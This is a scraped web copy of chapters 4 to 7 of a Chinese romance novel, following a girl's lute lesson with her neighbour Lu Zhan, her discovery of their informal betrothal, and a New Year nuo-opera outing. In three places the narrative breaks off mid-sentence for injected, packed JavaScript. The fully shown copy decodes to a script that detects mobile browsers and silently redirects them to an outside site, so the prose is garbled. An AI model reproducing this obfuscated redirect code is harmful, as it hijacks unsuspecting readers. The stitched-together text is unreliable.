陆辗叹息,直摇头,道:“好了,坐好,别再故意说些有的没的,继续。” 我才说了几句话啊又要继续,我慢吞吞将手覆于琴上,吐息,凝神。 不知为何,突然就紧张了起来,我本来记得很牢固的旋律莫名其妙变得乱七八糟起来,手下频频出错,越想不要错,越是错,一曲凤求凰被我弹成了诡异的曲调。 我能感觉到我额头已经布满了密密麻麻的细汗,自信过了头,失手了呢,脸面尽失,我再也不敢说我已经学会了。 我只敢余光去看陆辗,他果然蹙眉,神色严肃,我不安地往旁边挪了挪位置。 “错了这么多处,”我听得出来陆辗说这话时似乎咬牙切齿,我又想挪了一步,被他犀利目光吓止,低头静听他斥话,“你真是越弹越回去了,还不如外面蝉鸣有调。” 我害臊地将脑袋垂得更低,不敢回嘴,我是知道我弹得很不好了,此刻我应该虚心求教。 “所以要你教我嘛!” “好好看,好好听。” 陆辗说着,详细教了我一遍,他竟然开始认真教我了,他认真的时候还挺不一样的,我听着他为我做讲解,脑袋时而迷糊时而清醒,是因为我时而听着,时而看着他出神,直到听到他说“继续”,我终于回神。 我再次化身傀儡,他命令发出后,我顿时开始继续弹琴,我尽量静心沉气,心浮气躁,索性闭上了眼睛弹,我记得岑掌教弹琴时总是闭着眼睛,想来此法应很适合弹琴。 我脑海中有了一些模糊画面,渐渐地我开始沉浸于那画面中,待我恢复知觉,我发觉我已被陆辗圈入怀中,他双手轻覆在我手背上,一点一点纠正我,都是一些细节之处,琴声与琴声的不同就在于细节,难怪我觉得这一次我弹得格外的好,原来是陆辗带着我弹的。 只是,他终于想起来做个好老师教我就教我嘛,为什么要这样教我! 我是很想他亲自教我,央求许久他都没有妥协,此刻心愿达成,他真这样教我我又有些受不住了,他声音仿若山间清泉,潺潺流淌,就在我耳边,我轰的一下仿佛被水煮,整个人发起热来。 我知陆辗只是为了更好的教我,他如此用心指点我,他是心无旁骛,如此只是为了方便教我怎么弹琴,我本也应该专心学习,可我心脏却跳个不停,过了会儿,脑子更不灵光了,脸颊好像不仅仅是热,而是烫了起来,我怀疑我是不是要熟了? 啊,早知道就不要把陆辗叫过来了,他这样教我还不如让我自己折腾,这样教我我是永远也学不会的,自己折腾我还能折腾会。 我手完全不动,陆辗自然觉察,他沉声道:“你又在想什么?别分心,还想不想学?” 我抬起手往后用手肘碰了碰他,着急忙慌地道:“好了,陆辗,我知道怎么弹了,你别挨我这么近,热死了,你可以继续回去看书听我弹琴了。” 陆辗终于不再环住我,我松了口气,下一刻,我发觉他并未起身离去,而是后仰坐着,用手肘撑着身体,懒洋洋声音自我身后不远处传来:“你学没学会是由老师评断,不是你自己说,再弹一遍,我听着没问题就让你自己来。” 想来要赶他走只能我不要出错,我平复着凌乱心绪,努力忽视我身后陆辗的目光,开始弹琴,幸好有清风助我,清风吹来,我的燥热消退了很多,宁心静气,开始弹琴,哼,没想到,我故意磋磨还是就这样弹给陆辗听了,啊,好不甘心啊! 一曲毕,我一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“我听到有人把你比作宋玉。” 陆辗莞尔,是没有太惊讶,真是不谦虚。 我腹诽着,继续道:“古书记载,宋玉家东邻有个女子,那姑娘貌美,他写了一篇赋,盛赞那女子美貌,从此很多人用东邻之女形容貌美女子,你看,我也是你东邻,这也就是说,我是个貌美女子,你说是不是啊陆辗,我是不是个貌美如花?” 陆辗耐心听我说完这一番话,以他聪明的程度,早看穿了我话中深意,他直接点破我的虚荣心:“你弯弯绕绕说这么一大段话,想听我夸你长得美?” “那你快夸,宋玉写赋夸了他家东邻,你要不要也作一首诗夸我?”不过臆想了一下陆辗为我作诗,我嘴角的笑意便止不住。 期待地望着陆辗。 “你想得美。”陆辗无情拒绝道。 一盆凉水当头泼下,当然这在我意料之中,我不感到失落,陆辗没有做出翻白眼这样不雅的行为是已经很得体了。 不过,陆辗真的是一个极口是心非的人,他嘴上说我想得美,实则他很早就有写关于我的诗,只是没有给我看过,他觉得写得不很好,佳句难得,一直到他写了一首他认为很好的才赠给了我。 “花奴,花奴……” 我似乎听到了阿娘的呼唤声。 “快起来了,你不是说晚上要和陆辗去看傩戏,再不起来梳妆你要邋邋遢遢地去了。” 迷迷糊糊中听到这话我瞬间惊醒了过来,一睁眼就看到了阿娘, 忘了外面天色一眼,我赶紧掀开被子起来,直奔梳妆台,一面问阿娘:“阿娘,几时了?” “未正刚过,来得及,你不要慌慌忙忙。” “我不慌,阿娘你先出去吧,我要换衣梳妆了,一会儿叫你给我梳头。” 阿娘说了一声“好”便一边笑着一边步出了我卧房,闭门时还感叹了一句:“我们家花奴真的长大了。” 5. 第 5 章 最近常常听到阿娘说这样的话,都怪我上次闹了个大乌龙,惹得阿娘一直笑话我,更是时时感慨我长大了,想要嫁人了。 我是没有想要嫁人的了,日子过得无忧无虑,我才没有时间想起这种事,是温娘定亲后和我说起定亲的事,我根本一点儿没想到定亲,可是看温娘都定亲了,她又问我,我终于也是想起了这事。 我过了今年生辰便是满打满算的十八岁,三年前我便已及笄,正常情况,我家大门应该要被提亲者踏破了,毕竟我们浔阳城中娘子不大多,就我先前瞧见的,在我们浔阳城中,谁家娘子及笄了都是大门被媒人踏破,约摸十六岁时大多已经许给人家,有些人家筹备婚事速度快的,十六七岁得娘子便已经嫁了出去。 温娘问过我后,我是很郁闷,不知为何从未有媒人到我家来相看,也不见有人家向我爹娘打听我。 我当然不是想嫁人了,只是人家都有的我没有,我心里就很没滋没味,我究竟是差在了哪里? 好吧,其实,我是想知道,为何范娘子……对了,范娘子是陆辗他娘,她总是和我也和我爹娘说要和我家结亲家,为何却迟迟没有动作,我已经长大了,可以嫁给陆辗了。 啊,我并没有一直想着要嫁给陆辗,是他家偏要向我家提亲,我爹娘允了,父母之命媒妁之言,我便也勉勉强强嫁给他。 行吧,是我很自作多情了,我不想承认其实我是期待嫁给陆辗的,我先承认了,那岂不是就输了?所谓输人不输阵,气势上我不能输! 气势上自然是不能输的,郁闷却还是要郁闷的,我已经十八岁,陆家却没有要到我家来提亲的动静,原来范娘子的话只是玩笑话麽? 都是温娘了,突然问我这个问题,我不得不开始思量,温娘自从及笄后,她家就有好多人登门造访,几乎全都是去她家相看的,她为此很烦恼,她不知道要选择哪个郎君,嫁到谁家去。 我帮着她仔细分析许久,一直看郎君画像看到了太阳西沉,我得回家了,我沐浴着夕阳回家,后知后觉地想起,为何我家无人上门? 不想这事时根本不想,一旦想了我脑子里便是成日都在想,时不时听到有脚步声就下意识望向我家院门,我感觉我都快魔怔了,或许我是已经魔怔了,我竟在睡梦中梦到陆辗来我家提亲,我娇羞躲在房中悄悄透过窗缝听坐在堂屋里的他们说我们的亲事。 醒来后,我用冷水泼了好几下脸,这实在是太影响我了,我不能再这样想下去。 某日,我终于忍不住将娘拉到一旁悄悄问她:“为何我无人相看?”我是哪里很不好吗?无一人想娶我,陆辗也不想娶我。 娘捂着肚子笑弯了腰,笑够了后抱着我,摸着我的脑袋说:“果真是女大不中留啊,我们家花奴长大了,已经在想嫁人的事了。” 我窝在娘怀里,有些委屈,有些难过。 娘拍了拍我后背,告诉我:“你啊已经许了人家了,自然就无人上门相看了。” 我登时从娘怀里抬起头,我竟已经许了人家了!我何时许了人家了?难不成媒人上门时我睡着了?我许给谁家了?我都没见过那人。 我急得快哭出来,赶忙问:“阿娘,你把我许给何许人家了?” 阿娘眉梢微挑,道:“哟,你还想听我亲口说出来不是?你说我能把你许给谁家郎君?” 听到阿娘这样说,我脸一下子就烫热起来,自然,自然是我们家西邻家郎君,谁叫我从小听的都是长大了要嫁给陆辗这样的话,听多了,我也这样认为。 只是,提亲不是要正儿八经的拿着大雁和媒人一同上门来吗?为何我完全没有印象,我不记得陆辗有来我家提亲。 “阿娘,是何时的事啊?你们商榷的时候我睡着了吗?我一点儿不知道。” “你笄礼刚过,翌日范娘子和你陆伯就和我和你爹提这事了。” 我及笄的时候!那是三年前了,那么早的时候吗?而且就是提过一嘴吗? “这种事哪能如此随便便定下了,要遵循礼制才对。”我咕哝着。 “的确是还没有正儿八经地上门提亲,但我和你爹是答应了这门亲事的。”阿娘说着又摸我头,“没有提亲也是有缘由,你和陆辗自小一起长大,应知他心气高,范娘子说她问了陆辗,陆辗的意思是咱们家祖上是出自荥阳郑氏?,你是望姓之女,他出身寒门,如今还尚未发迹,一无所有,待他今年进京,明年科考进士及第再过了吏部的考核,谋得个一官半职再来我们家正式提亲。” 竟然是这样的原因,害我郁闷了这么多日。 我家祖上的确是出自名门望族,还是荥阳郑氏?,可是如今早就没什么关联了,我只是还姓郑,却并不是望姓贵女,只是普通平民,竟还提起这事来。 知道了事情原委,我自然是心情好了起来,心情好了,说话自然也就轻松了,我哼哼了两声,道:“他真是狂妄自大,举子万千,他凭什么就觉得他能考中,他考不中怎么办?” 阿娘闻我言也笑起来,继续和我说:“他还说你年纪尚小,不必早早定亲,还未定亲你便是婚嫁自由,你要嫌弃他没考上,想嫁去另外的人家,到时你就告诉娘,娘就对外说你们婚约已取消,那时自然就有人上门相看了,如何?还是你信不过陆辗?我如今也可以去说。” 虽知阿娘是逗我,我还是紧忙抓住娘的胳膊抱着阻止她,不过也是矜持了一些,我道:“我知道了,就,暂且先这样吧,等他考了功名再说。” 其实即便是举子万千千,我还是相信陆辗能进士及第的,他是这样厉害呢。 娘慈爱地回抱着我:“好,如此,我能多留你两年,我们家花奴花姿月貌,乖巧可人,我可舍不得你早早嫁出去做了别家妇。” “我也舍不得娘和爹。” 原来我念着这事好几日不得安眠,到头来竟是个大乌龙,原来我家和陆家已经口头相约了亲事,只是还未正经提亲。 原来陆辗早就知道他和我定了亲,这事我却完全不知道。 他竟一点儿没反对?并且还仔细考量过这件事,还同他爹娘说了他是如何想的,我以为他是不愿娶我呢,真是口嫌体正直,隐瞒我这么久,还是被我发现了,那我且就等着好了,也不戳穿他,不然好像我很等不及一样,我才没有迫不及待想嫁给他。 这个大乌龙我是叫阿娘不要说出去的,实在是有损我的颜面,被陆辗知道了,他一定说不出什么好听话来,阿娘自然是依我并不往外说,只是她自那之后便常常感叹我长大了。 我打开妆奁,取出脂粉螺黛,一一摆放好,开始梳妆。 我以前是不化妆的,便是阿娘的脂粉我也不爱去碰着玩,之所以化妆还是因为温娘学了化妆,我看着她化便也起了心思,头一次偷偷化时赶巧被陆辗看到,那时我才学化妆,被他笑话我把自己的脸涂成了鬼,简直是可恶至极,太扎我心,我追着他打了两里地,他连连求饶我才消气罢休。 陆辗是已经打了,他笑话我化成鬼还是成了我心结,此番我一定一雪前耻!此前我向温娘学了好久化妆技巧,今日我定要向陆辗证明我不是只会把脸涂白把嘴巴涂红。 不免还是忐忑,后来我化妆再也没让陆辗看到过,想着再一次让他见到时一定要他再也不能取笑我,今日我是要化一种据说是长安的娘子们盛爱的妆容,我还没化过这般秾丽的妆容,也不知道适不适合我,我看温娘化着是很绝艳,希望我也如此,让陆辗惊得说不出取笑我的话来。 我刚准备动手,听到了房门被敲响的声音,娘在门外喊我:“花奴?” “哎,阿娘。” 娘再次进了门来,我都还没唤她她便来了,我回头问她:“阿娘,怎么了?” “是这样,我一会儿就要和你爹出门去,我先给你梳头,你再做其他的。” “噢,好。” 阿娘走到了我身后来,看我梳妆台上摆着的各种物事,恍然大悟:“我说你怎么要我叫你这么早就起来,原来是还要化妆。” 我是有些不好意思的,本来还想着我化好妆后叫娘先看看怎么样,她一会儿玩出门去,看来我是只能看镜子了。 阿娘手巧,很快就给我梳好了发髻,顺便还帮着我一起穿好了新衣裳,新年自然是要穿新衣裳的,今年阿娘为我做的新衣裳是用十多层粉嫩嫩的薄纱做的层层叠叠的衣裳,像是花仙子一样,我可喜欢了,从书院回到家看到的时候就心心念念想着快到元日快要元日,我就可以穿上这件新衣裳了。 为我做好了谢谢阿娘便和爹出门去拜会好友去了,家中只剩下了我一个人。 我独自坐在窗前梳妆台旁对镜化妆,我看着镜子里我的化的妆,哪哪儿我都满意,就是眉心花钿我画不好,这花钿画不好今日这妆容就毁于一旦了。 画毁了一次,我不甘心,又重画一次,还是毁了,看着天色渐晚,我知道离我和陆辗约定的时间是越来越近了,我开始急切起来,再画一次,还是不好。 我丧气地想着要不别画了,大不了就不要花钿了,可是心头很是不甘,没有花钿就不是十全十美,而是只有九美了,我不喜欢这种缺憾,早知道应该直接买花钿贴,我是高估我的画技了,温娘擅丹青,她画起来游刃有余,有她在一旁指点我时我也画得不错,此时无人指点,我画出来的就很不合我意了,形能描摹得出来,总感觉和图案比差了很多。 颓丧了片刻,我忽然想起来陆辗丹青还不错,我蠢蠢欲动起来,也顾不上先前想的要惊艳他了,我今日这花钿画不好,我可能一晚上都要情绪低迷,可是太影响心情了。 时间紧迫,我跑到墙边喊陆辗。 “陆辗!陆辗!” 墙那边传来陆辗声音,问我:“你终于好了?” “还没有。” “你还在捣鼓什么?要这么久?再晚,人多了,要被挤在后面,你又只能看人挤人,看不到社火和傩戏了。” “我遇到大麻烦了!需要求助于你,你能不能来帮帮我?” “等着。” 我以为陆辗要从外面绕一圈,没想到他是直接翻墙过来,我只看到他突然出现,反手撑着墙头,跃身过来,站定时已落在我眼前。 新年人人穿新衣,陆辗自然也是,哇,今年他这身新衣真是格外的好看啊,不是圆领袍,而是金白翻领胡服,他今日穿的这身胡服是真的很不一样啊,显得他格外的意气风发,我头一次见他穿胡服,没想到竟是这样合适,一时我只呆住望着他。 我还忘记了说话,就这样一直看着他,也不知看了多久,他也是没有说话,估计是在等我说,毕竟是我叫他过来的,过了好一会儿,约摸是我一直没动静,他拍我脑袋,道:“发什么愣?什么大麻烦?” 我终于回神,反应却是慢了一拍,问他:“你怎么直接翻墙过来了,你爹娘——” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这时,我是有些踌躇起来,陆辗丹青是不错,可说不定他画花钿也不行,我自然是不会对他翻脸的,陆辗也画不出来那花钿的话,大不了我今日就不画花钿了,其实也没有那么郁闷嘛。 想着别影响他,过了会儿我还是忍不住出声:“你好好画哦陆辗,一会儿我请你吃栗子糕。” 陆辗是察觉我不安分了,他直道:“闭眼。” “哦。”这下子我是能彻底安静下来了。 闭上了眼睛,知觉是更敏感了,我清晰感觉到妆笔湿凉的触感,不禁眼睫一颤,明明我闭了眼睛,望不见陆辗,我却好像能感觉到他落在我脸上的目光,顿时拘谨局促起来,陆辗画了一会儿后,许久未感觉到陆辗落笔,我忍不住催促他:“陆辗,好了吗?” “最后一笔。” 不知为何,这最后一笔,陆辗迟迟不落笔,我耐不住性子,又问他:“你不会是没画好怕我和你翻脸吧,我不会这样的了。” “不是。” “那你怎么迟迟不落笔。” “你今日要这样出门去?” “那是自然。” 陆辗沉默了一会儿,终于落笔,收笔后他叫我睁眼,我迫不及待拿了镜子看,感觉意料之中又意料之外,陆辗画得很好呢,就是我想要画的花钿的样子。 我欢喜地看着镜子里我眉心的花钿。 “陆辗,你好厉害,真的画得一模一样,要是以后都是你给我画花钿就好了。” 陆辗哼了一声,将妆笔放下,抱臂在一旁道:“一次也就罢了,你还想次次劳烦我?” “说说而已嘛,我以后会画得很好的,此时时间紧迫我才叫你帮我。” “是是是,所以花钿画好了,我们可以出门了吧?” 我站起来,收拾一桌物事:“可以了,走吧走吧。” “一会儿肯定很多人,你要不要戴幂篱?” “不戴,今日梳的发髻戴不了幂篱。” “也可以戴面纱。” 陆辗说的话委婉,我却还不至于听不出来言外之意,我再拿了镜子仔细看,有些自我怀疑地咕哝:“陆辗,我化的妆容没有这么见不得人吧?我看着还可以的啊,你做什么要叫我遮面?” 难道是因为我自己化的妆所以自己感觉太良好?在他人眼里其实不堪入目? “你化得很好,不是这个原因。” “嗯?那是什么?” “今日……人多繁杂。” “我又不是大家闺秀,大门不出,二门不迈,不能轻易让人看到面容,你非让我遮面,我还以为是我化的妆很不堪入目呢!” 既然不是不好看那就不是问题了,我将东西收进了我卧房,再出来时,我扑跳到陆辗面前站定。 “陆辗陆辗,忘记问你了,我今日好看吗?” 陆辗瞧着我,随意道:“还行。” 他反应这样平淡,我是不依不饶,拽着他:“你就不能说好看吗?” 陆辗沉叹,道:“翩若惊鸿,婉若游龙。” 终于听到想听的话,我乐开了花,睨了他一眼,我狡黠一笑:“你也是哦,陆辗,‘潇洒美少年,皎如玉树临风前’,虽然你是已过了弱冠之年,不再是少年了,但是你今日这身胡服显得你很有少年气呢,你这样特意打扮,一会儿又要有不少娘子朝你掷花了,你才应该戴幂篱呢。” 6. 第 6 章 元日的傩戏和社火都是在城北,先看傩戏,天色暗了,社火才开始,我和陆辗一路疾行,从城东往城北而去,一路上看到有好多人。 我跳起来看着人群,着急地往后伸手抓住陆辗,拽着他打算跑到人群前面去,我回头喊陆辗:“陆辗,陆辗,快点,好多人啊,不知道还能不能挤到前面去。” 陆辗一副懒懒散散的模样,面上有些淡淡的笑意,任由我牵着他跑,只是步子大了些快了些。 “今年大家怎么都到得这样早啊!站不到前面,我们又要扯不到龙须了。”我看着陆辗这模样不禁蹙眉,“你快跑起来啊,今年的龙须我们一定要扯到!” “梁兄早前来过信,一会儿我们去找他,不必挤。” 陆辗说的这个梁兄便是和温娘定亲的梁七郎,他爹是前年上任的江州司马,一转眼他爹已在江州做了快三年司马了,他比陆辗大几个月,随他爹来到了江州,也在白鹿洞书院求学。 我记得一开始的时候他和陆辗还很不对付来着,后来他们俩又能促膝长谈了,我着实是弄不懂他们男子间的知己情意,不过他们俩关系如今是很好了。 梁七郎他爹是州官,自然是不用个平民百姓们挤在一处,有专门的位置,和他在一起的话我和陆辗自然也不用挤了,这可真是太好了。 “啊!你怎么不早告诉我,害我这么慌慌张张。” “谁叫去年你没扯到龙王的龙须一旬都不高兴,今年你再扯不到又要不高兴,便向梁兄提了一下这事。” “他可真是个好人哇!”我一把甩开陆辗,摸了摸自己的鬟髻,偏头问陆辗,“陆辗,我的头发有没有乱啊?” 陆辗随意瞧了一眼,道:“没有。” “呼,那就好。” 虽说我们有了空位,可,还有一个重大问题,我们得能挤到那边去,而越靠近傩戏台,人越多,再往前去,几乎要行进不了,夹缝越来越小,比肩接踵。 看着这场面,我忍不住抱怨起来:“挤不进去了,陆辗。” 我再次抱紧了陆辗手臂,人实在太多,若是一不小心被人群冲散,那是一下子就会不见了人,我小时候便是如此和爹娘被冲散过。 那一年我和爹娘一起来看傩戏和社火,途中我看上了一个摊贩摊子上的小玩意儿,就多看了片刻,谁知一转头就不见了爹娘。 当时我心里害怕,挤在拥挤的人群中,没走几步就开始号啕大哭,一边顺着人流走一边哭喊着阿爹阿娘,可丢脸了。 还好遇到了范娘子,她给我买了糖画,又告诉了巡守的人若是见到我爹娘就告诉他们我和她回家了,范娘子一路抱着我哄着我回了家,我爹娘还未回家,她便将我安置在她家,当时陆辗也在家里,对我一顿冷嘲热讽,挨了范娘子训斥。 从那以后我就特别怕走丢,特别是去人多的地方,比如各种庙会、集市,总要拉紧身边一起的人。 不过在我长大后这种害怕就渐渐弱化了,毕竟长大的我已经可以自己走回家去,没有什么好怕的了,只是还是遗留了一些小习惯。 陆辗比我高,也比大多数人高,他挤在人群中视线和我完全不同,我只能看人脑袋,他却能看到前面,他看了前面的人群后告诉我:“人流还在往那边移动,我们还能过去。” 我正要应声,忽闻温娘的声音,我听着她喊我:“兰娘!兰娘!” 我四处看去,没看到人,陆辗提醒我:“最前面,看台上。” 我跳了起来,终于看到了温娘,她正在对我招手,我也伸出一只手招手回应她,喊她:“温娘!”我在这儿! “快到这儿来!” “好!” 没想到温娘也是和梁七郎一起来的,她家虽是商贾之家,家教却很严,虽然她还是很叛逆,重大事情却还是很听他爹娘的教诲,在书院时温娘便不轻易和男学子混迹在一处,除非必要,只会在讲堂、学斋、女学子斋舍这些地方游走。 所以,温娘极其爱待在一处安静的地方看话本,我和她交好,总同她在一起,在她极力推荐下,我也喜欢上了看话本,我们就这么一起从看普通只有文字的话本一直到看起了画了图的禁忌画本,这真是,互相在对方那里留下了许多把柄。 温娘就是这样一个奇女子,她长相可乖巧甜美,平时也是规矩守礼,实际上“博闻强识”,性子野,常常做出叫我瞠目结舌的事。 嘿呀,她定亲了就是很不一样哇,她爹娘竟然放任她和郎君一起出来了。 我和陆辗随着缓慢移动的人群挪了好一会儿,终于到了看台那儿,我们顺着两级台阶上去,也到了看台之上,介于我们是因着梁七郎才得了便利,自然要先拜会梁七郎。 这看台之上除了温娘和梁七郎外,还有梁七郎两位自长安远道而来的好友,一位是吕十二郎,一位是岳九郎,我们互相叉手行礼,自报家门。 本来就是寻常相识,不想那岳九郎听了我的名字竟特意问我:“娘子是荥阳郑氏之后?” 真是好生奇怪啊,从小到大我都不曾在意过这个,也不怎么听旁人说起,最近怎么好像总是听到荥阳郑氏。 荥阳郑氏的确是当今望姓世家,骤然听人将我和荥阳郑氏同时提起,我是极心虚的。 就像当初书院山长一开始听闻我姓郑对我格外的关照,后来发觉我是一根朽木,那叫一个惋惜,直言我这样的出身怎么会课业那么不好。 当时我是不敢辩驳了,还好陆辗帮我向辩驳了,还辩得山长说不出话来,那时候陆辗在我眼里就像闪烁的星子一样,闪闪发光,我想的是我要是有他那口才和勇气就好了,奈何我平日里也算牙尖嘴利,遇到真正的大事就脑袋空空讲不出话来,实在是很烦人。 我家攀不上那荥阳的郑氏,在我看来,我家与如今的郑氏也就是同样姓郑而已,没有什么联系,被人错认,便是同根同源我也并不感到骄傲,是心虚更多,别坏了人家的名声才是。 我真不知为何他人包括陆辗都这样看重一个姓氏,好像我姓郑,便有什么不同似的,难道不应该看当下吗?后来我是知晓了,确实是有不同,同族同运,便是没有交集没有来往,也无法解离。 其实自从推行科举后,寒门得以崛起,各望族影响力逐渐削薄,寒门能科举,世家同样也能,他们还掌握着大量的书籍,比寒门更容易接触到学识,自然是瘦死的骆驼比马大。 到如今,世家望族依旧势大,依然受人追捧。 “祖上出自荥阳郑氏,关系很远。”我简略答他。 岳九郎方才冷傲,只随意行礼说了自己名字,谁想到他问了我话后竟然又态度转变,郑重喊我:“郑小娘子,方才失礼,还望见谅。” 我有心想说什么,思来想去,还是算了,只微笑应他:“郎君礼数周到,何来失礼之说。” 我这算是不是仗了郑氏的势了?他乐意如此便如此吧,反正很快就会发现不过同一姓氏。 我拽了拽陆辗,却看到陆辗正在看吕十二郎,那吕十二郎则正在打量我,见我望他才移开目光,忽而叹起:“郑氏一门果然出美人,如今宫中正得圣宠的郑贵妃也是出身郑氏。” 梁七郎闻言附和:“我尚在长安时便听闻郑贵妃之容色冠绝长安,可惜不曾见过,听闻郑贵妃貌若神女。” “真的吗?像话本里的神女一样貌美?”温娘在一旁也好奇发问。 岳九郎哈哈朗笑,道:“我曾有幸远远一见郑贵妃真容,确实如神女一般,仿若天上白月光,难怪能得圣人隆宠。” 吕十二郎道:“不仅郑贵妃得宠,她的亲弟弟亦深得圣上信任,官任左卫大将军,统领南衙府兵。” 我自然是不知道什么郑贵妃也不知道她弟弟的,也就听他们说说,颇感新奇。 原来我家还有这样一个贵人亲戚呢,这两个郎君听到我与郑氏有点关联便对我毕恭毕敬也是因为这位郑贵妃,他们说郑贵妃出身荥阳郑氏,却并不是嫡系,郑贵妃是圣人御驾亲征时在路上遇到的,本是同我一样的普通平民,圣人见到她,一见倾心,她便成了随圣人征行的美人,很快她有了身孕,跟随圣人回了长安,生下了皇子后便被封为了贵妃。 而她是蒙受圣人恩宠成为了郑贵妃后才认归荥阳郑氏,我想着,倘若她没有进宫,没有成为高贵的贵妃娘娘,荥阳郑氏会认她吗? 许是由于郑贵妃经历这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15310286|167266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样特殊,他们对待同样出身郑氏的我才不一样起来,所谓三十年河东三十年河西,指不定我也认归荥阳郑氏吗?想一想我是想笑出来,实在忍不住,靠着陆辗遮挡笑了出来。 此时他们已经说起了陆辗,那吕岳二人忒好玩,在听闻陆辗名气后也是态度大转变,开始称兄道弟起来。 这两人是梁七郎好友,陆辗不算热络却也没有慢待他们,有一搭没一搭的同他们交谈。 话头由此起,不一会儿,他们这几个郎君谈着谈着就谈起了京中局势,温娘眼睛一转,我们对了眼神,她拉我去看傩戏,我看了看陆辗,他大约不好脱身,我便没非要扯他走。 他们郎君好像是比较喜欢谈这些,我爹和四邻吃酒后也甚是喜欢一起对天下之事大谈特谈,那时我总偶尔想一想,倘若他们真的谈得有道理,怎么会不是朝中重臣而只是平民百姓,自然这话我是不敢说的,免不得要坏了他们兴致,还要被训斥。 我和温娘去到看台边缘去,此刻傩戏已经开场,我一面听着傩戏唱词,一面偶闻几句那几人阔谈的声音。 岳九郎道:“当今太子是故去的先皇后之子,太子母家失势,势单力薄,不如郑贵妃之子得势,有闻圣上想要废黜太子,册立郑贵妃之子为太子……” 吕十二郎道:“京中风云诡谲,对于明年科考的举子而言可是好时机,明年曲江宴必定热闹,选对了人,便是选了锦绣前程。” 听到这里,我不禁分神想着,若是郑贵妃之子当真成为了太子,以后再继任大统,这样算起来的话,我家远房亲戚是以后的皇帝了?这可真是一件好不可思议的事啊! 这事是与我无关了,我也只想着乐,我是关心后面的话,明年是科考年,陆辗亦要参加明年春闱,他若能进士及第,我想应该会有贵人看重他,只是不知他会遇到什么样贵人,而他也要面临选择吗? 当官的好像站队是很重要的。 少顷,傩戏到了精彩部分,那几个郎君终于不再高谈阔论,被欢呼声吸引,一起过来看起了傩戏。 我与陆辗站在一隅,我附耳悄悄问他:“陆辗,你会选谁?” “嗯?什么选谁?” “你们刚才说的,太子、十七皇子什么的。” 陆辗又屈指敲我脑袋:“你还偷听?” 我自然是睚眦必报,敲了回去,还正经道:“是你们说话大声,我可没有偷听。” 陆辗被敲脑袋竟还莞尔,倾身向我:“我身在浔阳,哪里知道长安的事,更不知道未来的事。” “哦……”我应了一声,又踮脚在陆辗耳边说,“我相信你一定会选对的锦绣前程,一会儿我们一定要扯到龙王胡须,龙王就会实现我们的愿望,保佑你明年顺顺利利,前程似锦。” 陆辗眉眼间笑意是更张扬了,他还挑眉,道:“我看你隐约其辞,还以为你想说选你们郑家的人。” “只是同姓,有点儿渊源而已,什么叫我们郑家,我都不认识他们,为何要叫你选他们?” 陆辗望着我久久不言,须臾后道:“你这样说,你祖上还是出自荥阳郑氏,贵姓之后,所以……” “哪有贵姓之后是平民百姓的,陆辗,你读书读迂腐了,荥阳郑氏?是荥阳郑氏?,我只是浔阳城东的郑家人,一个姓而已,没甚联系。” “也是,哪有世家贵女是像你这样的。” “我怎么了?!” “刁蛮。” “陆辗!” 我是想踩陆辗,竟被他巧妙躲过,我还差点栽下看台,被陆辗拽住手臂才免遭一难。 我惊魂未定,却是忽然想起方才陆辗似有未尽的话,我顺势抓住陆辗手臂靠近他,眯眼问他:“所以什么?” “没什么。” “陆辗,你一定有话没有说完。” “没有。” “到底是什么?告诉我!” “所以……”陆辗微笑着靠近我,我一下子慌了神,偏头不再看他,因此又站不稳,被他拽着稳在了一旁,听到他道,“所以,一定要风风光光的。” 风风光光的什么陆辗是没说,我似乎能猜到,却是不敢再仔细问他了。 7. 第 7 章 傩戏结束后就到了社火,社火不在一处表演,而是要巡演浔阳城各处,人群一向会随着社火表演奔跑,极其热闹,就是也极其废体力。 我想要扯到龙须还得抓紧机会,越到后面越难扯到,只有一开始时就在最前面才容易扯到,今年我们这儿可是最前面了,我一定能扯到。 我拽着陆辗欢和人群一起欢跳着,叫嚷着:“陆辗陆辗,要开始了要开始了,龙王就要出来了!不要走神,一会儿扯龙须。” 小时候的陆辗会像我一样和小伙伴们一起欢跳,跟着社火表演的人一起跑,他年岁愈长后就几乎不跳了,真是越长大越无趣,任凭我怎么拽扯他,他都岿然不动。 “小心些,这么激动做什么?别打到别人。”陆辗将我往后拽了拽。 “高兴嘛!”我狡辩着,还是收敛了一些动作,我方才确实差点打到了我前面的人的脑袋。 噼里啪啦,噼里啪啦—— 社火以爆竹开道,我和陆辗斗嘴这一会儿,点放爆竹的人已将至我们身前,已经看到了爆竹起的烟,也问到了爆竹爆炸后的硝烟味。 说起来,我是很喜欢这个味道呢,爹娘一直说我很奇怪喜欢这种奇怪的味道,可我就是很喜欢很喜欢这个味道,每次都要用力的深吸气狠狠地嗅闻着味道,不过与此同时,我又很害怕爆竹炸响的声音,去年没有扯到龙须就是因为龙王到我身前时恰好我脚下有爆竹炸开,我就躲了一下,这么一会儿就错过了,待我捂着耳朵回头,看到龙王已经走了,又因人太多,后来我再也没能挤不到前面去。 已经可以看到“虾兵蟹将”们了,我兴奋得不能自已,而爆竹离我们这儿越来越近。 我是很害怕爆竹声了,可是我更想扯龙须,我今年一定要扯到龙须,我只有两只手,都要用去扯龙须,自然就无法捂住耳朵,我一咬牙,决心不捂耳朵,以最快速度扯下龙须,而后捂上耳朵。 